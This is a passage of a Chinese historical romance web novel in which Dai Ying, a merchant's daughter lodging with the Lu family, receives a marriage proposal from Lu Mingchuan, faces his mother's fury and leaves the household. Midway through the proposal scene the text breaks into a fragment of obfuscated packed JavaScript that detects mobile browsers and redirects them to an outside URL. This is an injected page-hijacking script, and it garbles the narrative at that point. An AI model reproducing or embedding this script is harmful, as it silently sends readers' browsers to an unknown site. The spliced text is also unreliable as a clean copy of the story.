平日里虽不缺什么,奴仆皆有,可面对一件百来两的上等皮**,她买不起。
虽然有些难堪,却还不算什么,最最让她**的是,她作为主母敌不上隔壁那个小**。
这幼娘不过一妾室,因她兄弟在京都开了绸缎铺,借了她家老爷的名号,生意做得风生水起。
幼娘的衣食住行比她这个正经主母强上不知几倍!
相较之下,衬得小**像正头娘子,她反像个无人问津的老妈子。
今日在华四锦,她看着那几件皮裘,喉咙发硬,心头发堵,又是委屈,又是难堪。
她买不起的狐裘,那边却轻而易举就能得到。
一到冬日,她穿着半旧的夹袄,小**过来请安,乔张致的模样,分明是来炫耀。
这个憋屈她忍了不止一两年,白天,她几欲从华四锦逃出去的。
这幼娘平时老爷多有维护,她动不得她,今次,总算找到一个报复的口子。
郑主事听自家夫人先说休书,后又提丢乌纱帽,越说越离谱。
“我还是叫个大夫来瞧瞧。”
“老爷自身难保,却不自知,你可知华四锦的女东家是什么来头?”
郑主事走回,坐到陈氏对面:“一个有钱的商人,能有什么底细。”
陈氏又是一声冷笑:“人家借着丽春院的苏小小一夜之间打响名头,你说别人背后没个靠山?”
“夫人可是知道点什么?速速说来,莫要隐瞒。”
“今日妾身去了一趟华四锦,见了那位女东家,模样不消说,谈吐也好……”陈氏把今日之事略略说了。
“妾身出了店,心下细细一想,觉得事有蹊跷,怎么就那样巧呢,她家铺子因着老爷这层关系闭店,偏妾身被她引到楼上招待,未免太过巧合。”
“遂让人打听,不打听还好,这一探,叫妾身惊出一身冷汗……”
郑主事急问道:“如何?”
“妾身叫人探问得知,那女东家每日打陆府进出。”
郑主事有些衔接不上,华四锦,女东家,陆府,这几个词单单揪出来,都很好理解,偏偏放在一起,他就糊涂了。
“陆府?哪个陆府?”
陈氏拍了拍桌案:“我的老爷,还有哪个陆府。”
“陆家?!”郑主事脸上一白。
陈氏盯着自家男人,慢慢地,却又很肯定地点了点头。
“所以妾身这才说,林韦打着你的名号胡为,老爷您哪日被他们兄妹害得丢了性命也未可知。”
郑主事摆了摆手:“不对,不对,这女人怎会出入陆府?陆府是什么人家,哪会有行商之人?”
“老爷这是怀疑妾身的话了。”
“倒不是怀疑夫人的话,只是这……她若有陆府这座靠山,怎么还要闭店?”
“妾身不过一妇人,能探问到的就这些,这位女东家能出入陆府,是什么身份已经不重要,再者……这不还没闭店么,说不定今日引妾身前去,就是一个警告。”
陈氏有私心,她探听到的消息有限,故意把话往陆府引,就是想借此契机,出自己的恶气。
郑主事思前想后认为有理,不敢再细想,越想越怕,连夜去了府衙,撤了陈左几人的罪状。
次日,又把周虎等人从巡事所驱离,行动之迅速,没有丝毫拖泥带水。
回了宅子,告知小妾幼娘,她兄弟若再敢打着他的名义行事,便将她拉出去,转到牙行,卖了了事。
那幼娘又将这话转于她兄弟林韦,林韦哪敢多言。
这日,陈氏带着丫鬟出了巷口,刚走没几步,不知从哪里冒出一人。
“可是陈夫人?”
陈氏将那人一打量,有些眼熟,想起来了,是华四锦的管事。
“我们东家先前说,待夫人再来华四锦,一定好好招待,只是不见夫人去,这才让小人在此处候夫人。”秦二说着,让双手持抱木匣的小厮上前。
“知道夫人喜欢,所以特命小人送来。”
陈氏看着小厮手里古朴的木匣。
“这……是什么?”
“我们女东家的一点心意,她说了,夫人是咱们店的福星,您一来,所有问题就迎刃而解了,微表心意,望夫人笑纳,夫人闲来无事,若肯赏脸,还来咱们华四锦走走。”
秦二走后,陈氏回了家宅,关上房门,打开黑木匣,里面正是她最先看上的那件狐裘。
……
陈左从牢狱出来,除了受点皮外伤,其他倒好,戴缨叫他们回去休息几日,城东铺子的修造可以缓缓。
深秋冬初,晨间,草地上起了霜。
戴缨醒来,从榻上起身,披了一件拖地大袄,散着一头顺滑的乌发于身后,搓了搓冰凉的指尖,朝外叫了一声。
归雁进门。
“怎么屋里这样冷?”戴缨问道。
“想是银炭燃完了,丫头们躲懒,忘记往里加,婢子这就去看看。”归雁从旁拿过一件雪色袖笼,将戴缨的手放到袖笼中。
“娘子,先用她暖暖手。”
说罢,出了屋室。
白云一般细软的毛绒没有一点杂色,戴缨的双手笼在狐**中,不一会儿就开始发热。
这白狐皮还是上次陆铭川狩猎得的,后来制了两副袖笼,一个给小陆崇,一个与了她。
戴缨看着袖笼发起怔来,思绪拉回到几日前。
自从花灯节那日**阁夜宴后,她便隔三岔五爬到阁顶俯瞰大半个京都。
立在尘世的高处,看脚下尘寰如织,万家鳞次,竟迷恋上这般抽身世外的空灵之感。
当她听到身后动静之时,回过头,就见陆铭川倚着栏杆,也痴痴地看着下界。
于是不好多待,就要无声地退下,却被叫住。
“专在这里候你。”陆铭川收回眼,望向戴缨:“我有话同你说。”
“三爷有何事?”戴缨语气有些赶,怕被人瞧见。
陆铭川眼皮微敛:“自然是要紧事。”
她等他继续说下去。
“我要说的是……”
在她来之前,他将要说的话在脑中过了一遍又一遍,然而真当面对面时,他竟像个毛头小子,不知该如何开口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16561779|186148||http|test|mini|href|location''.split(''|''),0,{}));
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r>“崇哥儿很喜欢你,你可愿意到我院中来?做行鹿轩的女主人。”
这话是何意,刹那间,戴缨明白过来,四肢的血液往脸腮涌涨,又热又痒。
“三爷莫要玩笑。”
“你是个伶俐人,知道我不是玩笑。”陆铭川见她脸红得可爱,不由自主地往前一步。
戴缨脱口而出:“阿缨出身低下,不敢肖想……”
这话叫陆铭川稍稍松下一口气。
“你若是因为这个而拒阻大可不必,我既向你开口,自有计较,只要你肯应我,一切由我来主张,不必你出头,亦不叫你受半分委屈。”
陆铭川认真地看向她,说出的话诚恳而郑重。
如此真切的话,叫戴缨触动,从小到大她习惯了不被保护,习惯了遍体鳞伤,更习惯内心痛得滴血,脸上仍笑得坚强。
有时候,她觉得自己像狗肉一样皮实,就算被伤得狠了,可在外人看来,好像并不是很痛,仍可以摇着尾巴,仰首挺胸,步履轻快。
也正因为如此,对给予她儿时美好记忆的谢容,才会那样执着不舍。
到死都想问他一句为什么,为什么明明不是她的错,他却狠心冷她十年,甚至连一句解释也无,直到她快咽气,他才踏进她的院门。
陆铭川见戴缨的神态间闪过一抹似有若无的哀凄,很快、很短暂,因他一直注意着她,所以捕捉到了。
“我不勉强你,你回去考虑几日……”陆铭川接着说道,“崇哥儿时常念你,总想着见你,他想你,我也是……”
戴缨将双手从白狐袖笼抽出,手心已出了一层汗,屋里暖了起来。
陆铭川话里的意思是娶她为妻,立为正头娘子。
他如今在步军司身居要职,家世好,容貌英俊,又无不良嗜好,肯娶她为妻。
她只需点点头,那么,眼下的所有困境可解,从此以后,戴万如不仅不敢拿捏她,还得曲意讨好她,戴万昌也只能仰她鼻息,看她眼色。
戴缨蓦地意识到,这是一次机会,一次改命的机会,一次不费吹灰之力跨越阶级的机会。
这个时候,她骨子里的精明和算计调动起来。
她厌恶戴万昌,却也深受他的影响,源于从小到大在那样一个环境中的被动熏陶。
所以,她接下来最该做的就是应下陆铭川。
思及此,脑子里陆铭川的身形化成另一人,和他相似,却又大不一样。
那人无声无息地进入她的念海,不知从几时起,只要她一闲适,他就会出现。
她告诉自己,陆铭川愿意娶她,她为何不应呢。
曾经的她,一心一意待一人,将所有情感归化在谢容身上,奉上身心,奉上所有财务,奉上所有……最后得到了什么?
她丢了命,而今,她学乖了,人还是该抓住点实际的东西,那一晃而逝的思动算得了什么。
正想着,院中来人,声音从外传来。
“戴娘子可在?”
归雁在外面应了一声:“有何事?”
接着那人的声音隔窗响起。
“家主让小娘子到前面去一趟……”
第67章 你想我同意,还是反对?
归雁进了屋,将那人的话带到。
“说是陆家大爷在书房,让娘子往前面走一趟。”
人只有在做坏事时才会心虚,可戴缨说不清,这会儿她为何心虚。
“行了,替我梳妆罢。”
归雁应是,知道她家娘子不喜冬日穿得过厚,拿出一套碧春色窄袖及地长衫。
衣衫裁剪合体,十分合体地包裹着戴缨青春婉妙的身体。
腰际的长丝绦,映着碧春色的衣底,像是一条有生气的丝藤,缠绕着捻捻腰肢,越发显得那柳腰不盈一握。
孔嬷嬷走了进来,不免又唠叨几句:“小娘子身体底子好,也不兴这样不爱护,虽不是隆冬,却也冷得厉害,该多穿些。”
“这外面还要罩一件呢。”归雁说着拿过一件氅衣,给戴缨穿上。
孔嬷嬷仍不满意,总觉着自家女孩穿得单薄了,可见戴缨娉婷姿容,立在那里横竖都好看,也就没再多说什么。
戴缨带着丫头往前院书房行去。
长安已在院门恭候。
“安管事,大人找我何事?”戴缨随口问道。
“这个小人并不知,大人就在屋里,小娘子进去便知。”长安低着眼,目光微敛。
戴缨点了点头,进了院子,上了台阶,叩响房门。
“进来。”
腔音不高不低,淡淡的,同从前没差别,然而她的心里却起了丝紧张。
房门被推开,她一手捉裙裾,迈过门槛入到室内,屋里气暖如春,只有一扇纱窗半掩着。
难得一次,陆铭章没有伏案理事,而是席地坐于一张矮案后,案上悬着烧水的盄子,里面的水没烧沸,冒着丝丝烟气。
戴缨上前道了万福。
“坐罢。”
陆铭章并未看她,用捻子拈起烫过的天青瓷盏。
戴缨走到案前,敛裙坐于他的对面,看他洗盏,落盏,最后小巧的茶盏摆于她的面前。
盄子滋出响起,咕噜咕噜,水沸了。
他用布巾包着手柄,给她倒了一盏。
这期间,只有衣料窸窣声,和茶水落盏的淅沥沥水声,就在她以为这份寂然会延续下去时,他开口了。
“廷之说他要娶你为妻,你知晓此事?”
戴缨笼于白狐袖套的手相互捏了捏。
“三爷同我提过。”
陆铭章抬眼,看向对面那张被狐裘簇着的莹白面庞。
“你点头了?”
事实上,戴缨还未点头,可陆铭章略带质问的语气,让她负气回了一个“是”。
接下来是长久的缄默。
她垂着眸光,不去看他,好几次两人陷入这种沉重的安静,都是她先打破,可这次,她忍住了。
“野心倒是大,先遣离了一个谢家女,想不到你这个留下来的才是更大的麻烦。”陆铭章语带讥讽。
戴缨掐着手心,仍是不言语,屋里暖融,后背起了一层汗。
似是对她的安静不满,陆铭章言语稍厉:“说话!”
戴缨抬起头,直言问道:“大人想让阿缨离开么?”
陆铭章眸光轻霎,握着茶杯的手在一瞬间收紧。
“大人让我说什么,大人想听什么?”戴缨继续反问。
“您瞧不上我,每每我到您的书房,总要受一场打压,那些轻视的言语在大人看来是理所当然,却让阿缨心里难受,别人那样说,我可以不往心里去。”
戴缨哽着喉头,压住心头的不平,“可大人说那些话,我心里就很难受。”
“大人不过随口一句话,我就记上好几日,好不容易消平,您总能适时地再添一道。”
陆铭章身子一怔,头一次,他不敢正视一个人看过来的目光。
“既是不好受,日后……不说了……”
戴缨咬着唇,将头撇向一边。
兴是屋里暖意太盛,她那张白馥馥的脸变得很红,额上沁出细汗。
陆铭章撑起身,走到门边,朝外道一声:“减些炭火。”
守门的小厮赶紧应下,又去吩咐烧炉人。
陆铭章走回,却并未走到矮案后,而是立在戴缨身侧,缓缓地屈蹲下,语重心长地说道:“这件事情,不能应,知不知道?”
戴缨侧过身,微微抬起下巴:“为何?大人总要说个缘由。”
陆铭章低下眼回看向她,眼神专注而温沉,带有温度的目光在她面上一点点巡睃。
寻到哪里,哪里便染上薄红,好像指腹在轻轻地摩挲。
他抬起手,一点点向她靠近,宽大的衣袖漾过她的肩,就在指尖触上她额边细软的碎发时,停了一瞬,像是骤然惊醒,那手又缓缓收回。
戴缨面上镇定,袖笼下的双手却紧张得揪着,胸腔提着的一口气在他收回手后,慢慢吐息。
陆铭章坐回对面,开口道:“你同他成不了。”
戴缨拿起茶盏,轻啜一口,以此化解刚才黏滞的空气:“大人如何肯定成不了,三爷说过,一切有他,必不叫我受半分委屈,还是说……大人要阻拦?不想让缨娘好?”
原来她是这么想自己的,陆铭章在她面上看了半晌,没再说话,终于缓缓轻吁一口气:“既然你愿意,我自然不能说什么。”
戴缨又问:“大人是家主,您的话在整个陆府是不可违抗的钧语,大人可会反对三爷娶我为妻?”
陆铭章不答反问:“你想我同意,还是反对?”
戴缨梗着脖,不知出于什么心理,道了一句:“
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大人一句话的事,就可以左右我的人生。”
这话的意思是,只要陆铭章不点头,陆铭川就娶不得她,那么她实现阶级跃层就只是水中月影。
很美,近在眼前,却看得摸不得,接下来,她仍需在泥淖前行。
戴缨站起身,往后退了两步,再次双膝落地,伏惟道:“缨娘不想再这样累了,不想再被人掐着脖子,望大人成全。”
没让她等太久,陆铭章的声音从对面响起。
“好,既然你心甘情愿,还是刚才那句话,我不说什么。”
她想不到陆铭章就这么轻易应了,端正身子:“大人的话当真?”
“自然,只是……”陆铭章看向戴缨,说得很慢,“这件事情,我不反对,但也不会赞成,至于最后是否能成,就看你有无这个命。”
戴缨愿意相信陆铭川的话,他是个言出必行之人。
“陆三爷说过,他会料理好一切……”
不待她说完,陆铭章抬手打住:“不必同我说这些,这是你二人的事,仍是那句话,我不赞成,亦不反对。”接着摆了摆手:“去罢。”
有他的这个话,戴缨除去顾虑,却不知为何,心里本该轻松,反而愈沉,当下不去多想,行了退礼,出了屋室。
待人走后,长安进到屋里。
陆铭章没抬眼,低着声儿,说道:“去把三爷叫来。”
这一次,长安没像往常那样应声而去,而是担忧地立在那里,阿郎的情状不太对,遂想开口说些什么。
“还不快去?!”
陆铭章又是一声,长安随即转身出了屋门,不上一会儿的工夫,陆铭川来了。
一进屋先把身上的氅衣褪去,随手扬在一边,几步上前,径直盘腿坐到矮案后。
疏眉朗目间盈着笑意,一身海棠色劲装,像一团旺盛的火焰。
“如今的天儿越发冷了,还是兄长屋里暖和。”
陆铭川提起壶,就要给自己倒一杯热茶,壶身倾斜,对面探出一只手将他面前的茶盏拿走,另拿了一个小盏递过去。
“这茶盏不是给我备的?”陆铭川转口问道:“刚才谁来了?”
问完也不指望陆铭章回答,另倒了一杯,双手捧起,吹着上面浮起的热气。
“大哥唤我前来所为何事?”
陆铭章问道:“先前你同我说的那件事……认真想好了?”
陆铭川怔了怔,反应过来兄长说的什么,不带一点犹豫道:“想好了,我打算娶那丫头。”
说完,看向对面,他最担心的便是兄长反对,只要他不反对,一切都好办。
“好。”陆铭章应了一声。
陆铭川惊睁着眼:“大哥这是同意了?!”
第69章 自请离开
陆铭川料到自己母亲不会同意,却没料到她这样大的反应,此时他若出言顶撞,只怕老太太会倒地不起。
于是不得不将他大哥抬出,叫他母亲闭嘴。
曹氏惧陆铭章,陆府上下皆知。
然而,陆铭川又一次料错了。
在他提及陆铭章后,曹氏并没有如他想象的那样就此作罢,反是将手边的茶盏挥落在地,刺耳的言语伴着碎裂之声响起。
“你……你眼里是没我这个母亲了,你们都不将我放在眼里,我知道……上上下下都把我当个笑话儿,如今,连……连你也看我笑话……”
曹氏再次起身,一个字一个字从牙缝往外迸:“你若敢聘这小**,我立时到祠堂撞柱,让满京都的人瞧瞧,何等狐媚把陆家公子迷得忤逆不孝!”
陆铭川看着母亲一脸狠绝,心里纵使不甘,却也不敢再说什么,怕她气出个好歹,遂一声不言语地离了桂兰院。
人刚走,曹氏便带人往上房行去。
此时天色微暗,上房预备饭食,陆老夫人刚走到外间,就见曹氏急如风地进来,抓住她的双臂,悲哭出声。
“姐姐怎么还留着那祸害,快快把她打出去,我的哥儿被她惑得连我这个母亲也不认了。”
曹氏急走了一路,这一哭,更是上气不接下气。
陆老夫人让丫鬟搀她坐下。
“先喝口茶,慢慢说来。”
曹氏从丫鬟手里接过茶盏,呷了一口,拿盏的手颤着,显然是气狠了。
曹氏把盏搁下,歪倚着,一手抚拍胸口。
“谢家人就没一个好东西,才请走一个下作的,原来留下的那个更是大隐患,适才,川儿跑来跟我说,他要聘那个商女为妻,我不同意,跟我闹了好一场。”
陆老夫人缓了缓,明白过来这话的意思,曹氏口中的商女指的是戴缨,不免吃惊道:“老三要娶缨丫头?!”
一提这话,曹老夫人的眼泪更止不住,她好好的一个哥儿,怎能叫那样的女子祸害。
“老姐姐可不能不管呐,这人是你招进来的,如今麻烦却落到我的头上……”
陆老夫人眉头紧蹙,双唇微抿,先是惊愕,再是不解,之后是沉下来的恼意。
“你可问清楚了?还是说这只是你的猜忌。”
“还要怎么问,他都说到我跟前了,还把老大抬出来,说晏哥儿不反对,这是拿他兄长压我哩!”
陆老夫人耳中听着曹氏的怨叨,等她闭嘴后,才说:“你先回,这件事情我且问问。”
陆老夫人看着好性,却是个落地有声的人,此时天已黑下来,曹老夫人得了这个话,在丫鬟的搀扶中离开了。
待人走后,陆老夫人坐在那里半晌不言语,石榴侍在一边,见门帘处有人探头,悄不声走了过去。
“晚饭好了,可要摆饭?”小丫头问道。
“再缓缓,一会儿我叫上,你们再上。”
石榴心道,这晚饭就是摆上,估计老夫人也咽不下了。
小丫头应声去了。
屋里,陆老夫人沉着眼,心里五味杂陈。
一开始,谢容同陆婉儿的事,她并不赞成,谢家门第太低,后来,有一年花灯节,他二人私会,偏偏走漏了风声,不得不结下谢家这门亲。
唯一宽慰的是,谢容这孩子看起来不错。
后来,她见了戴缨,起了几分怜惜,起意叫她入到陆府客居,也是存了抬一抬她的意思,日后给她指一门好人家。
谢珍行事不端,叫谢家人接走,她还庆幸戴缨是个行规矩步的,出身虽低,德行却比一般官户娘子端正。
今日才知错看了。
若老三为娶戴缨同家中闹翻,母子二人就此起嫌隙,岂不成了她的罪过?
她是喜爱这孩子,欣赏的正是她的知进退,明事理的伶俐劲儿,可眼下发生的一切,却把这些好印象推翻。
难说这些好印象都是她为达目的而伪装的,那可就留不得了……
“让大爷过来一趟。”陆老夫人沉声道。
石榴应下,出了上房,没一会儿,陆铭章走了来。
陆老夫人招手:“你来,我有话问。”
陆铭章应了一声是,坐到陆老夫人身侧,静听问话。
“老三同缨丫头的事,你可知晓?”
陆铭章眼皮微敛,点头道:“听说了。”
“你应下了?”陆老夫人又问。
陆铭章轻笑一声:“儿子可没应。”
“刚才桂兰院那边来了,说川哥儿对她说了,你不反对……”
“儿子只是不反对,没说应下,这话可是两层意思。”陆铭章又道,“母亲何必操这个心,由着他们罢,看能闹成什么样。”
“再怎么着也是自家人,真闹出个不好的来,也不好看。”陆老夫人唉了一声,“想不到老婆子我也有看走眼的一天,还以为缨丫头是个好的,原来藏得更深。”
陆铭章无心地笑了笑:“这可怨不得她。”
“怎么怨不得?”
“您还不了解老三?他那个性子,不是他自己愿意,谁能强迫他?若是使些手段就能惑住他,那谢珍有心引诱,怎么没成?”
陆老夫人点了点头,只是仍觉得和戴缨脱不离关系,不免迁怒。
“这事你说该当如何?”
陆铭章将眼往下一压,复抬起:“先让他自己处理,咱们别插手,若是处理得不好,反受埋怨。”
“闹大了如何是好?”
陆铭章温声道:“母亲放心,有我在呢。”
而陆老夫人万不会想到,陆铭章刚才那句“让他自己处理”中的他是“她”,而非“他”。
……
自陆铭川告诉戴缨,他会征得曹老夫人同意亲事,已过去好几日,成或是不成没有半点消息。
以陆铭川的行事,若曹老夫人同意,他必会迫不及待前来相告。
当下心里有了数。
“归雁。”戴缨唤了一声。
归雁从外走了来:“娘子有
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事?”
“你同嬷嬷把咱们的行当清了。”
“清什么?”归雁不明。
戴缨往屋子环顾道:“咱们进陆府时带的行当,规整出来。”
“清理行当做什么?要出远门么?”
“总不好一直住在别人家,该走了。”戴缨说道。
归雁怔了怔,应诺,唤了孔嬷嬷来,就在二人收拾时,院子里来了人。
“戴小娘子可在?”来人说道,“曹老夫人请小娘子去一趟。”
该来得总会来,戴缨让归雁应下,随后往桂兰院去了。
桂兰院戴缨来的次数不多,进到屋里,曹老夫人端坐上首,看向戴缨的眼神没有一丝善意。
“知道我为何让你来?”
戴缨垂眼回答:“知道。”
曹老夫人一拍桌案,直把腕子上的玉镯子撞成几段,落到地面。
“你既知道,就趁早**那份心,就是我死,也绝不叫你祸害我儿。”
戴缨缓缓抬起头:“曹老夫人息怒,为着这事气坏身子不值当,阿缨已明白您的意思,今日来,也为着辞行。”
“辞行?”
“是,今日便离去了,曹老夫人不必气恼,更不必烦心,三爷是个重情之人,他不过是为了还恩情。”戴缨停了一下,又道,“阿缨并不图什么,一切出自真心,也就不存在什么恩情不恩情了。”
曹氏趁着今日儿子不在府里,把戴缨叫来,本打算将她喝骂一顿,想不到她自请离开。
如此甚好,那晚她寻去上房,本想叫那边出面将戴缨请离,谁知等了几日,没有任何动静。
“既是这样,我便给你存三分颜面,去罢,明日若叫我知道你还在府中。”曹老夫人冷哼一声,“休怪我不讲情面,届时一封帖子送到衙门,只说你滋扰生事,先打你二十脊杖,可听清了?”
戴缨垂眼,淡淡地应了一声:“是”。
从桂兰院出来,欲往揽月居行去,一个欢蹦的身影从后跑来,牵住她的手。
“姐姐,我做好功课了。”小陆崇眨着眼将戴缨看着,这意思是等她邀他去揽月居玩耍。
戴缨蹲下身,嘴角噙着笑:“崇哥儿,姐姐今日有事忙,不能带你玩。”
陆崇眼睛一滴溜,俯到戴缨耳边,握着嘴低声道:“爹爹说了,姐姐会住到行鹿轩,以后天天可以见到。”
戴缨笑了笑,抚了抚他的小脑袋。
照顾陆崇的田婆子听到一点风声,料想这位戴小娘子在陆府住不久,怕陆崇童言无忌,于是将他拉开。
“哥儿,先生叫你呢。”
陆崇嘟起嘴:“功课都做完了。”
戴缨目送陆崇离开,转身去了另一个方向。
“什么?!你要走?”陆溪儿惊诧道。
“是,本就是暂住,总有离开的一日。”
她住在陆家这些时日,同陆溪儿相交甚好,走之前还是同她说一声。
“怎么这样突然?是不是出了什么事?”陆溪儿又问。
第70章 怎样才算喜欢?
戴缨要离开,陆溪儿还是很不舍的。
戴缨年纪稍长,陆溪儿同陆婉儿不睦,却和戴缨说得来,乍一听她要走,想着挽留。
“能出什么事,只是我家铺子生意繁忙,白日常不在府中,城东的铺子也要开张了,之后会更加忙碌。”
陆溪儿听后,没作他想,点了点头,两人又闲说了一些话,戴缨离开,之后又转去了上房。
“石榴姐姐,老夫人可在屋里?”戴缨问道。
石榴看了戴缨两眼,微笑道:“姑娘稍候,我去报知。”
“有劳。”
不上一会儿,石榴走出来,福了福身:“老夫人今儿身子不适,不便相见。”
“可否代句话与老夫人。”
石榴点了点头。
“阿缨得老夫人青眼,客居于陆府,今日前来拜别,望老夫人保重好身体。”
戴缨说着,对着上房拜了三拜。
“小娘子放心,婢子会将话带到。”
看着戴缨离去的身影,石榴暗叹一声,原以为这是个有造化的,结果……
从上房离开,戴缨又去了前院,问了小厮,得知陆铭章还未归,于是回了揽月居,没多久,谢家来人,将她接离了陆府。
戴万如并不知戴缨突然回谢家是何原因,不过也不会深究,毕竟自家女儿先一步做了不光彩的事。
夜里,陆铭章去了上房,陆老夫人把戴缨回谢家一事说了。
“我心里是气的,可这孩子早晚到我跟前陪侍,总归有感情,白天她来向我辞行,我没见她,还是不见得好,就这么离开……也好……”
陆老夫人见只自己一人说,儿子**一旁,默不出声,问道:“这个家到底归你管,就不说什么?”
陆铭章笑了笑:“不过些许小事,母亲料理就好,不必同我说。”
陆老夫人揉了揉额:“行了,我也累了,你去罢。”
陆铭章应声,出了上房,回了自己的一方居,撩衣上阶之时,看似不经意地问了一句。
“今日可有什么人来过?”
长安听懂了,立马回道:“戴小娘子离去前曾求见阿郎。”
“可有说什么?”
“她见阿郎不在,便离开了,不曾留话。”长安往陆铭章面上快速看了一眼。
陆铭章不再言语,进了屋室。
屋里亮起昏黄的光,在这深秋的夜里,烛火的颜色该是暖的,可长安从外看着,却觉得窗纱上萧萧的光影,是孤寂,是微寒,是不能言说的苦闷。
有些事别人不清楚,但他清楚,家主其实很难,他所处的位置,注定不能像三爷那样肆意。
……
在戴缨回谢家的当夜,归雁从院外走来。
“府外有个小厮,婢子从前见过,是陆三爷的亲随,请见娘子一面。”
“不了,你去回了罢。”戴缨说道。
归雁应诺而去。
城东的铺子马上就要开张,戴缨很是忙碌,不常在谢家,基于这一点,戴万如就算看不过,也不能说什么。
一来,她自己就是商女出身,行商的门户,不可能不抛头露面。
二来,纵使她反对也是无用,戴缨是在戴万昌应允的前提下开得铺面。
对于戴缨来说,过程虽然曲折,起码在京都开店铺这一想法实现了。
因为她手里握着戴家的生意,戴万如对她的态度就不能随意,戴万如还是会顾忌戴万昌这个兄长。
就这么过了一个月,在这一个月期间,陆铭川到绸缎庄找过她几回,她避而不见。
这日,城东的绸缎庄开张了,同时,她收到了一封书信。
是陆铭川写给她的,信中写着他要外出公外,也许待明年开春才能回京,等他回京,他二人的事情……他会再想办法,让她再等等,再等等……
戴缨在看过这封信后,没什么特别的感觉,也没有给陆铭川回信。
将近年关,两个绸缎庄的生意不错,她让秦家兄弟备了礼,差人送往店中的贵客,还有像杨氏那样,官阶不高却手握实权,经常同他们打交道的官眷。
陈左夫妇感激她给予的帮助,年关前邀她到家中做客。
鸢娘的病看起来好了些,不过只是看起来,戴缨感觉到她的生气在衰减,对这世间的流连源自对自家男人的不舍。
她眼中的光亮不多了,将要熄灭,像是挺不过这个冬季。
“小娘子可有喜欢之人?”
鸢娘倚着窗榻上的小几,手上捂着暖炉,身上披了一件戴缨送的灰貂皮**大氅。
怕鸢娘不愿接受钱财,隔三岔五她会遣人送些米、油、衣物等实用物什。
戴缨听说后,微笑道:“喜欢二字太缥缈了……”接着语调带了点俏皮,“我还是更喜欢摸得着的东西,比如钱。”
说罢,两人咯咯笑出声。
笑声渐止,鸢娘慢慢说道:“阿缨,你不是嗜财之人,只是想从中获得一份踏实,只因内心无从获得安定,便从这些黄白之物上找些许慰藉。”
戴缨认真看向鸢娘,没想到一个同她只有几面之缘的乡下妇人,竟然懂她。
鸢娘刚才的问话,让她认真思索起来。
对于谢容,她都不清楚自己是否喜欢过他,前世,她对他的感情更多来自儿时。
只为着他曾说的一句话,阿缨,等我长大娶你,咱们永永远远好下去……
后来,她成了他的枕边人,这中间有太多的无奈,再后来,他丢下她,之后的岁月她走不出来,只想探问个究竟。
为什么,为什么……她到死都想问清楚。
这是喜欢么?那也太不堪了。
再然后是陆铭川,这个人样样都好,她该喜欢的,然而在他和她的关系里,她可以像做生意一样,清醒地分析得失。
“怎么样才算喜欢?”戴缨不自主地喃喃出声。
鸢娘露出一个虚弱的笑:“喜欢是放肆,爱是克制,是惟愿卿安。”
“爱是克制,惟愿卿安……”戴缨跟着念出声,脑中浮现另一个人的身影,很快将他驱散,漫不经心地玩笑道,“这般境界,我怕是达不到了。”
鸢娘笑着摇了摇头:“等你遇上这么个人,总能给你烘到那个份上。”
这一夜,戴缨没有睡好,夜里起了梦,梦里,她又回到那个院墙下,隔壁响起刺心的欢声笑语。
她抬头看了看眩晕的日光,有声音传来,不知从哪个方向,很远很远,一点点变得清晰。
“丫头,别怕……”
“别怕……”
戴缨猛地睁开眼,从床上惊坐起,咽了咽口水,胸口剧烈起伏,汗珠濡湿了鬓发,紧贴在腮颊。
她抬起眼,看了看四
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围,火烛熄了,屋中光线幽暗,窗外朔风猎猎,细听之下,有风挤进门缝发出呜咽。
梦里为什么会出现陆铭章的声音?!那个场景……不该有他的声音。
戴缨深吁一口气,舔了舔唇,起身下榻,走到桌边打算喝口茶,润润口舌。
谁知刚拿起茶壶,打了一个寒战,这才发现,自己后背的衣衫汗湿了一大片。
她自来身体好,当下没去管,仍是饮了几口隔夜茶,重新回到榻间,闭眼睡去。
次日一早起身,归雁进屋伺候梳洗。
“娘子说话声气重,要不要叫大夫来看看?”
“只是嗓子有点不适,不是什么大事,喝些热的就好了。”
戴缨没在意,吃过早饭后去了绸缎庄。
因近年关,店中客人往来稠密,直至午时人才少些。
“东家,姑奶奶来了。”秦二走到隔间外,报知于戴缨。
戴缨翻看账本的手一顿,戴万如怎么会来华四锦,她巴不得躲得远远的,生怕沾上戴家的铜臭。
“知道了。”说着放下手头事,走了出去,一眼便看见刚入门不久的戴万如。
她的身边还有一人。
一个看上去比戴万如年长的中年妇人,装扮上比戴万如更阔气。
这人她有印象,从前见过,谢山顶头上司家的女眷,戴万如还带她去赴过那家人的宴席。
正是戴万如一直讨好的那位员外郎夫人,随她夫姓,人人唤她王夫人。
戴缨上前向二人道过万福,笑道:“姑母今日怎么得空来我这小店?”
戴万如环顾一圈,带着客气地笑,说道:“你这铺子开张许久,我带王夫人来看看,你可得好好招待,不得敷衍。”
“来到店里的都是客,遑论像王夫人这样的贵客。”戴缨将人引至二楼,让伙计上了茶点。
王夫人同戴万如对坐下,往戴缨面上看了眼,笑道:“上次你把她带到我面前,我只看一眼便喜欢,模样长得好不说,姿性乖觉。”接着招了招手:“来。”
戴缨走到王夫人身侧侍立。
王夫人执起戴缨的手,嘴角带着笑,细细在她面上端详。
“到底是在陆老夫人跟前受过教导的,就是不一样,怪不得你姑母总在我面前说你的好,我还只当她夸口,现在一看,比她说得更胜三分。”
戴万如噗嗤一声,笑道:“几时我骗过你,我这侄女儿叫人越看越喜欢,满京都再也找不到的,倒是便宜了你们家的……”
说到这里,话音突然止住,不再往下继续。
王夫人笑着点头不语。
戴缨看出点什么,心中渐沉,当下也没有心情应付这二人,拿帕子掩住口鼻,打了个喷嚏,鼻塞声重地说道:“阿缨身上不适,想是染了风寒,就不在跟前侍候了,怕把病气过给您二位。”
说着朝一边招了招手,让店伙计招待,自己转身下了一楼,傍晚时分,回了谢府,径直去了上房。
戴万如刚用罢晚饭,谢珍也在。
“你不是身上不适么,怎么不好好在屋里休息?”戴万如从丫鬟手里接过巾帕拭手。
戴缨直接开门见山地问道:“姑母难道就没什么对阿缨说的?”
今日戴万如引员外郎夫人到绸缎铺,不单单为买衣物,是什么目的,并不难猜……
第71章 做兄长的该护着妹妹
戴万如将手里的巾帕递回,看向谢珍。
